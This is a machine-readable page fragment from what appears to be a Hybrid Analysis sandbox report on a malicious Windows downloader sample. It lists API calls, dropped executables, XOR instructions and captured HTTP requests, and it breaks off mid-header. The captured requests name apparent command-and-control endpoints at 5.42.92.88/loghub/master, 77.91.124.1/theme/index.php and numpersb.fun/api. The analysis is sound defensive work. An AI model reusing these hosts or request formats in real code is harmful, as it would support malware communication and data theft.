24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 8a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T493,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TR/Dldr.Agent_AGen Sample 6c4eeafcda86… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 6c4eeafcda86…. Malware family: TR/Dldr.Agent_AGen. Threat score 100/100. 3/28 AV engines flagged this file. 19 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae","keywords":["Malicious","TR/Dldr.Agent_AGen","malware analysis","sandbox report","threat intelligence","6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TR/Dldr.Agent_AGen","antivirusDetections":{"malicious":3,"total":28},"behavioralIndicators":{"malicious":19,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4ac,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" called "FindResourceA" with parameter "8458960" - (UID: 00000000-00002748) "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" called "FindResourceA" with parameter "8459000" - (UID: 00000000-00002748) "iu7rW97.exe" called "FindResourceA" with parameter "456296" - (UID: 00000000-00000400) "iu7rW97.exe" called "FindResourceA" with parameter "11211464" - (UID: 00000000-00000400) "iu7rW97.exe" called "FindResourceA" with parameter "11211472" - (UID: 00000000-00000400) "iu7rW97.exe" called "FindResourceA" with parameter "11211500" - (UID: 00000000-00000400) "iu7rW97.exe" called "FindResourceA" with parameter "11211512" - (UID: 00000000-00000400) "iu7rW97.exe" called "FindResourceA" with parameter "11211528" - (UID: 00000000-00000400) "WW5pa33.exe" called "FindResourceA" with parameter "1905484" - (UID: 00000000-00003592) "WW5pa33.exe" called "FindResourceA" with parameter "3012888" - (UID: 00000000-00003592) "WW5pa33.exe" called "FindResourceA" with parameter "1905352" - (UID: 00000000-00003592) "WW5pa33.exe" called "FindResourceA" with parameter "1905360" - (UID: 00000000-00003592)26:Ta93,"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8505456'}" (UID: 00000000-00002748) "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8505408'}" (UID: 00000000-00002748) "iu7rW97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11257936'}" (UID: 00000000-00000400) "iu7rW97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11257968'}" (UID: 00000000-00000400) "iu7rW97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11257952'}" (UID: 00000000-00000400) "iu7rW97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11257920'}" (UID: 00000000-00000400) "iu7rW97.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '11257872'}" (UID: 00000000-00000400) "WW5pa33.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1951712'}" (UID: 00000000-00003592) "WW5pa33.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1951824'}" (UID: 00000000-00003592) "WW5pa33.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1951856'}" (UID: 00000000-00003592) "WW5pa33.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1951840'}" (UID: 00000000-00003592) "WW5pa33.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1951808'}" (UID: 00000000-00003592) "WW5pa33.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1951760'}" (UID: 00000000-00003592) "ob8Cl01.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427536'}" (UID: 00000000-00000484) "ob8Cl01.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427568'}" (UID: 00000000-00000484) "ob8Cl01.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427552'}" (UID: 00000000-00000484) "ob8Cl01.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427520'}" (UID: 00000000-00000484) "ob8Cl01.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1427472'}" (UID: 00000000-00000484) "BG0Vi31.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '10340464'}" (UID: 00000000-00003456) "BG0Vi31.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '10340416'}" (UID: 00000000-00003456) "BG0Vi31.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '10340368'}" (UID: 00000000-00003456) "4xv765hr.exe" called "LoadResource with parameter {'hModule': '1660616704', 'hResInfo': '1661657464'}" (UID: 00000000-00002132)27:T4c0,Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "2Jg195qq.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "2Jg195qq.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "2Jg195qq.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "2Jg195qq.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "" in "2Jg195qq.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "2Jg195qq.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "4xv765hr.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "4xv765hr.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "4xv765hr.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "4xv765hr.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "" in "4xv765hr.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "4xv765hr.exe"28:T403,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "3vp37IO.exe.985443340") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "3vp37IO.exe.985443340") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp")29:T599,SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002748-58169-10-00816CF0 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002748-58169-7-00816F40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003592-101-7-001D6F40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003592-101-10-001D6CF0 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000484-3096-7-00156F40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000484-3096-10-00156CF0 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003244-10780-16-000CAA17 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002508-20309-16-002B9327 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001196-56428-34-00B08738 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001196-56428-35-00B0499C SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003012-64919-16-00B9B867 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003836-27367-10-012E6CF0 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003836-27367-7-012E6F40 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002396-63465-46-00EC1A43 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002396-63465-1824-00EC1748 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002396-63465-70-00EC7653 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002396-63465-120-00EC15B5 SetUnhandledExceptionFilter@KERNEL32.dll at 36660-2002-004091FC2a:T131e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-44-00812AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-44-00812AAC Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00002748-58169-31-00812390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00002748-58169-31-00812390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-60-0081597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-60-0081597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-22-0081681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-22-0081681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-71-00812CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-71-00812CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-78-00815C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-78-00815C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-15-00811F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-15-00811F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-42-0081202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00002748-58169-42-0081202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-42-0081202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-43-00811AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-43-00811AE8 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00002748-58169-36-00813BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00002748-58169-36-00813BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-72-008118A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-72-008118A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-16-008144B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-16-008144B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-29-008152B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-29-008152B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-74-008136EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-74-008136EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-57-00816298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-57-00816298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-65-008153A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-65-008153A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-37-00813FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-37-00813FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-33-00812F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-33-00812F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-66-00812630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-66-00812630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-63-00815467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-63-00815467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-77-00812773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-77-00812773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-40-00812267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-40-00812267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-52-00814EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-52-00814EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-41-00816495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-41-00816495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002748-58169-73-008117EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002748-58169-73-008117EE2b:T75cb,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "88Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=mAbQoLFug60Y3fGQ1tEdContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 92Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 17 Oct 2023 16:06:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Modified" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 17 Oct 2023 16:06:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2023" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 17 Oct 2023 16:06:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 17 Oct 2023 16:06:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Tue, 17 Oct 2023 16:06:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "88Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=SZQrswlmE8ohtFp4EmglContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "88Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=kxW18wbF18ZD8c9VEycOContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: numpersb.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: 